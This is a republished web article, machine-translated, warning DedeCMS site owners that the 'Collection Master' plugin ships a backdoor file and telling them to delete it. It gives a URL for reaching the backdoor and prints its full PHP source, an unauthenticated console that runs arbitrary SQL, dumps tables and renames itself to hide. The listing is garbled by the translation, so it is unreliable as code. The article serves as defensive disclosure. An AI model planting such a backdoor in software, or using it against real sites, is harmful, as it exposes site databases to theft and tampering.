Dede Collection Master official left-door removal method

Source: Internet
Author: User
Tags foreach exit command line include php file table name trim domain name
Remove the official Backdoor method: After installing the collection master, please delete the dedesql.query.php file in the Include directory immediately, if it has been installed, it is possible that the file has been renamed to Arc.sqlquery.class.php, found and deleted. This file can be used to query the Web site database without login verification, and to update, delete, and query data. You can also test yourself whether, as I said, the method:
http://your domain name. com/include/dedesql.query.php.php?dopost=viewinfo
Enter the URL above to open the backdoor interface.
To tell the truth, will deliberately leave the back door procedure, the best way is not to use. The back door was found, and God knows if the next so-called new version will come out with more back doors. After that the door file code is as follows:
Copy CodeThe code is as follows:
<?php
Require_once (DirName (__file__). " /.. /include/common.inc.php ");
if (Emptyempty ($dopost))
{
$dopost = "";
}
if ($dopost = = "Rename")
{
if (rename ("dedesql.query.php", "arc.sqlquery.class.php")) {
echo "Success!" ";
}else{
echo "Failed!" ";
}
Exit ();
}
if ($dopost = = "ViewInfo")
{
if (Emptyempty ($tablename))
{
Echo did not specify the table name! ";
}
Else
{
$dsql->setquery ("Show CREATE TABLE". $dsql->dbname. ".) $tablename);
$dsql->execute ("Me");
$row 2 = $dsql->getarray ("Me", Mysql_both);
$ctinfo = $row 2[1];
echo "<xmp>". Trim ($ctinfo). " </xmp> ";
}
Exit ();
}
if ($dopost = = "Index")
{
Require_once (dedeinc.) /arc.partview.class.php ");
$envs = $_sys_globals = Array ();
$envs ["aid"] = 0;
$PV = new Partview ();
$row = $PV->dsql->getone ("select * from ' #@__homepageset '");
$templet = Str_replace ("{style}", $cfg _df_style, $row ["Templet"]);
$homeFile = DirName (__file__). " /". $row [" position "];
$homeFile = Str_replace ("//", "/", Str_replace ("\", "/", $homeFile));
$fp = fopen ($homeFile, "w") or Die ("Cannot update the site home page to: $homeFile location");
Fclose ($FP);
$TPL = $cfg _basedir. $cfg _templets_dir. " /". $templet;
$PV->settemplet ($TPL);
$PV->savetohtml ($homeFile);
$PV->close ();
echo "Successfully updated home page!" ";
Exit ();
}
else if ($dopost = = "Query")
{
$sqlquery = Trim (stripslashes ($sqlquery));
if (Eregi ("drop (. *) Table", $sqlquery) eregi ("Drop (. *) database", $sqlquery))
{
echo "<span style=" font-size:10pt "> Delete" datasheet "or" database "statements are not allowed here. </span> ";
Exit ();
}
if (eregi ("^select", $sqlquery))
{
$dsql->setquery ($sqlquery);
$dsql->execute ();
if ($dsql->gettotalrow () <=0)
{
echo "Run sql:{$sqlquery}, no return record!" ";
}
Else
{
echo "Runs sql:{$sqlquery}, common". $dsql->gettotalrow (). Record, maximum return 100! ";
}
$j = 0;
while ($row = $dsql->getarray ())
{
$j + +;
if ($j >100)
{
Break
}
echo "echo "Record: $j";
echo "foreach ($row as $k => $v)
{
echo "<font color=" Red ">{$k}:</font>{$v}<br/>\r\n";
}
}
Exit ();
}
if ($querytype ==2)
{
$sqlquery = Str_replace ("\ R", "", $sqlquery);
$sqls = Split ("; [ \t]{0,}\n ", $sqlquery);
$nerrCode = ""; $i = 0;
foreach ($sqls as $q)
{
$q = Trim ($q);
if ($q = = "")
{
Continue
}
$dsql->executenonequery ($q);
$errCode = Trim ($dsql->geterror ());
if ($errCode = = "")
{
$i + +;
}
Else
{
$nerrCode. = "Execution: <font color=" Blue "> $q </font> Error, error hint: <font color=" Red ">". $errCode. " </font><br> ";
}
}
echo "successfully executed {$i} SQL statement!" <br><br> ";
Echo $nerrCode;
}
Else
{
$dsql->executenonequery ($sqlquery);
$nerrCode = Trim ($dsql->geterror ());
echo "Successfully executed 1 SQL statements!" <br><br> ";
Echo $nerrCode;
}
Exit ();
}
if ($dopost = = "View")
{
; echo "<meta http-equiv=\ "content-type\" content=\ "text/html; Charset=gb2312\ ">
<title>sql Command line tools </title>
<link href=\ "img/base.css\" rel=\ "stylesheet\" type=\ "Text/css\" >
<body background=\ "img/allbg.gif\" leftmargin=\ "8\" topmargin=\ "8\" >
<table width= "98%" border= "0" align= "center" cellpadding= "3" cellspacing= "1" bgcolor= "#D1DDAA" >
<tr>
&LT;TD height= "background=" Img/tbg.gif ">
<table width= "96%" border= "0" cellspacing= "1" cellpadding= "1" >
<tr>
&LT;TD width= "24%" ><strong>sql command run:</strong></td>
&LT;TD width= "76%" align= "right" > <b><a href= "sys_data.php" ><u> data backup </u></a></b >
<b><a href= "sys_data_revert.php" ><strong><u> data restore </u></strong></a>< /b>
</td>
</tr>
</table>
</td>
</tr>
<tr>
&LT;TD height= bgcolor= "#FFFFFF" valign= "Top" >
<table width= "100%" border= "0" cellspacing= "4" cellpadding= "2" >
<form action= "" method= "Post" name= "Infoform" target= "Stafrm" >
<input type=\ "hidden\" name=\ "dopost\" value=\ "viewinfo\"/>
<tr bgcolor= "#F3FBEC" >
&LT;TD width= "15%" height= "align=" The Table information of "Center" > System:</td>
<td>
<table width= "100%" border= "0" cellspacing= "0" cellpadding= "0" >
<tr>
&LT;TD width= "35%" >
<select name= "tablename" id= "tablename" style= "width:100%" size= "6" >
";
$dsql->setquery ("Show Tables");
$dsql->execute ("T");
while ($row = $dsql->getarray ("T", Mysql_both))
{
$dsql->setquery ("SELECT count (*) from". $row [0]);
$dsql->execute ("n");
$row 2 = $dsql->getarray ("n", Mysql_both);
$DD = $row 2[0];
echo "<option value=" ". $row [0]." " > ". $row [0]." (". $dd.") </option>\r\n ";
}
; echo "</select>
</td>
&LT;TD width= "2%" > </td>
&LT;TD width= "63%" valign= "Bottom" >
<div style= "float:left;margin-right:20px;" >
<input type= "Submit" name= "Submit1" value= "optimized selected table" class= "COOLBG np"/>
<br/>
<input type= "Submit" name= "Submit2" value= "fix selected table" class= "COOLBG np" style= "margin-top:6px"; "/>
<br/>
<input type= "Submit" name= "Submit3" value= "view table Structure" class= "COOLBG np" style= "MARGIN-TOP:6PX;"/>
</div>
<div style= "Float:left" >
<input type= "Submit" name= "Submit5" value= "optimized All Tables" class= "COOLBG np"/>
<br/>
<input type= "Submit" name= "Submit6" value= "Repair All Tables" class= "COOLBG np" style= "margin-top:6px"/>
</div>
</td>
</tr>
</table></td>
</tr>
<tr>
&LT;TD height= align= "center" > Return information:</td>
<td>
<iframe name= "stafrm" frameborder= "0" id= "stafrm" width= "100%" height= "100%" ></iframe>
</td>
</tr>
</form>
<form action= "" method= "Post" Name= "Form1" target= "Stafrm" >
<input type=\ "hidden\" name=\ "dopost\" value=\ "query\" >
<tr>
&LT;TD height= colspan= "2" bgcolor= "#F3FBEC" ><strong> Run SQL command line:
<input name= "QueryType" type= "Radio" class= "NP" value= "0" >
Single line command (simple query support)
<input name= "QueryType" type= "Radio" class= "NP" value= "2" checked>
Multi-line command </strong></td>
</tr>
<tr>
&LT;TD height= "118" colspan= "2" >
<textarea name= "SQLQuery" cols= "rows=" id= "SQLQuery" style= "width:90%" ></textarea>
</td>
</tr>
<tr>
&LT;TD height= "align=" "Center" > </td>
<td>
<input name= "ImageField" type= "image" Src= "Http://www.jb51.net/article/img/button_ok.gif" width= "a" height= "22" Border= "0" class=\ "np\"/>
</td>
</tr>
</form>
</table>
</td>
</tr>
</table>
</body>
";}
?>


Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.